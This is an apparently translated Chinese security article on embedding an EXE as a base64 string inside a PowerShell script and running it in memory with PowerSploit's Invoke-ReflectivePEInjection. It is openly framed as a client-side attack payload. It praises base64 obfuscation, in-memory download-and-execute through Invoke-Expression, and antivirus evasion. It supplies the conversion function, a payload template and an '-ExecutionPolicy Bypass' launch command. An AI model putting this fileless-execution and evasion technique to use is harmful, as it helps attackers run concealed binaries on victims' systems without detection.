《如何在PowerShell腳本中嵌入EXE文件?》要點:
本文介紹了如何在PowerShell腳本中嵌入EXE文件?,希望對您有用。如果有疑問,可以聯系我們。
我在嘗試解決一個問題,即在客戶端攻擊中只使用純 PowerShell 腳本作為攻擊負荷.使用 PowerShell 運行惡意代碼具有很多優點,包括:
1.無需在目標上安裝其他任何東西.
2.強大的引擎(例如可以直接調用 .NET 代碼).
3.可以使用 base64 編碼命令來混淆惡意命令,使惡意命令變的不容易被發現.這同樣也是一種可以避免使用特殊字符的方法,尤其是在一個涉及多個步驟需要分離不同攻擊負荷的高級攻擊中.
4.可以使用Invoke-Expression將字符串解釋為 Powershell 命令.從滲透測試的角度看,這可以避免在目標磁盤上編寫復雜的腳本.例如:你可以使用 Powershell 下載額外的復雜腳本,然后通過調用 Invoke-Expression 解釋并執行下載到內存中的腳本.這個過程同樣可以躲避殺毒軟件的查殺.
我們想在目標上運行一些相當復雜的功能,這些功能常是 EXE 文件的一部分.我不想直接在目標上放置一個二進制文件,因為這樣可能會觸發反病毒機制.所以我想將其放入 Powershell 腳本中,不過我也不想重寫整個 Powershell 腳本.
最終我想到一個辦法.
將二進制文件嵌入到 Powershell 腳本中,并直接通過腳本運行而不用將其寫入到磁盤里.
下面演示解決步驟:
可以使用以下函數:
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
1.用上一步的方法將 EXE 文件轉為字符串;2.準備 Invoke-ReflectivePEInjection(Powersploit project 的一部分);3.將字符串轉為字節數組;4.調用 Invoke-ReflectivePEInjection.
所以,二進制文件只是 Powershell 腳本中的一段字符串,在將字符串解碼為二進制數組后,就可以調用 Invoke-ReflectivePEInjection 直接在內存中運行.
最后看起來像這樣:
# base64 編碼的二進制文件
$InputString = '...........'
function Invoke-ReflectivePEInjection
{
......
......
......
}
# 將二進制字符串轉為字節數組
$PEBytes = [System.Convert]::FromBase64String($InputString)
# 在內存中運行 EXE
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
現在就可以在目標上運行腳本了:
powershell -ExecutionPolicy Bypass -File payload.ps1
根據嵌入的不同二進制文件,可能會出現以下錯誤:
PE platform doesn’t match the architecture of the process it is being loaded in (32/64bit)
解決這個問題只需要運行 32 位的 PowerShell 即可.
下面是我將 plink.exe 嵌入 payload.ps1 的例子:
原文:truesecdev,來自FreeBuf黑客與極客.